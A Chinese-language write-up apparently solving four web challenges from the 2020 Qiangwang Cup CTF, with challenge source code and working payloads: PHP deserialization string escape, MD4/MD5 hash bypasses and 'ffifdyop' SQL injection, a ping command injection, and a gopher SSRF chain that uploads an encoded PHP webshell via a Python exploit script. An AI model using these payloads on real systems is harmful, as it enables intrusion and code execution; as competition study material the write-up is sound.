2020 强网杯 web

强网杯的质量还是很高,只做出了一道web : )

web辅助

php反序列化字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// common.php

<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}

class topsolo{
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}


public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}

class jungle{
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("whoami");
}

public function __toString(){
$this->KS();
return "";
}

}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// index.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// common.php

<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}

function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// play.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

var_dump(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}

?>

先找出payload

1
2
3
4
5
$a = new topsolo(new midsolo(new jungle('Tyao')));
$b = new player('Tyao',$a,1);
echo serialize($b);

O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Tyao";}}}s:8:"*admin";i:1;}

利用字节流S绕过对name的检测

1
O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}

查看正常的序列化数据

1
O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:3:"pwd";s:8:"*admin";i:0;}

修改【pwd】的值使其和我们的payload匹配,顺便修改个长度

1
2
3
4
5
O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:154:"

;s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}

";s:8:"\0*\0admin";i:0;}

计算多出来的数据的长度

1
len('";s:7:"*pass";s:158:') == 22

%00*%00pass还有两个隐藏字符,下面的payload也不要忘记加上

每次字符串逃逸可以多出2个字符,所以修改username为11个\0*\0

最终exp如下:

1
2
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":2:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:0:"";}}};s:8:"*admin";i:1;}

Funhash

哈希tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();

?>

hash4强哈希碰撞,后面是凑出or 1,直接百度就行

1
2
3
4
5
6
7
8
9
10
<?php
$int=1;
$md4="";
$name="0e";
while ($md4!=$name){
$name='0e'.$int;
$int++;
$md4=hash('md4',$name);
}
echo $name;

数组绕过hash比较,

最终exp

1
?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

主动

命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>

简单命令拼接

1
ip=|cat%20*;

half_infiltration

php反序列化 ssrf+gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
highlight_file(__FILE__);
$flag = file_get_contents('ssrf.php');
class Pass
{

function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age, $sex, $num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) {
ob_end_clean();
exit();
}
global $$a;
$result = $GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

参考第五空间的《do you know》,把原来的payload改一改变量名即可

考点:

  1. 反序列化一个数组使其能够输出flag
  2. $$变量覆盖
  3. throw exception异常提前中断跳出ob_end_clean()
  4. global处触发exception,因为global $this是非法的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Pass
{

}

class User
{
public $age,$sex,$num;
}

$a = new User();
$a->age = new Pass();
$a->sex = 'read';
$a->num = 'result';

$b = new User();
$b->age = new Pass();
$b->sex = 'read';
$b->num = 'this';

$c = "Tyao";
$x = array($a, $b, $c);
echo(serialize($x));

/*
output:
a:3:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}i:2;s:4:%22Tyao%22;}
*/

转到内网渗透,给到一个ssrf接口,端口在40000,点进去只有一个文件上传,没有禁gopher协议,盲猜是gopher+ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}

if($url)
{

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);

}

?>

这里很多坑,文件名不能含有write,一度以为filter写不了文件,后来才发现write是可以省略的 : )

文件内容不能含有<?php<script等等标签,需要同时rot13base64绕过(也不太懂什么base64之后也可以检测到php字段

1
base64_encode(rot13('<?php echo system("cat /flag");//')) = "PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v"

给出最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as rq
import re

ssid = "ttt"
post_string = "file=php://filter/convert.base64-decode|string.rot13/resource=1.php&content=PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v"
length = len(post_string)

paramsGet = {"we_have_done_ssrf_here_could_you_help_to_continue_it":"gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1%%0d%%0a\
Host:127.0.0.1:40000%%0d%%0aCookie:PHPSESSID=%s;%%0d%%0aConnection:close%%0d%%0aContent-Type:application/x-www-form-urlencoded%%0d%%0aContent-Length: %d%%0d%%0a%%0d%%0a\
%s" % (ssid, length, post_string)}
res = rq.get("http://39.98.131.124/ssrf.php", params=paramsGet)
# print(res.text)

res2 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/")
files = re.findall('<a href=".*?">(.*?)</a>', res2.text)[5:]
print("=========FILES============")
print("\n".join(files))
print("==========================")

res3 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/1.php")
print(res3.text)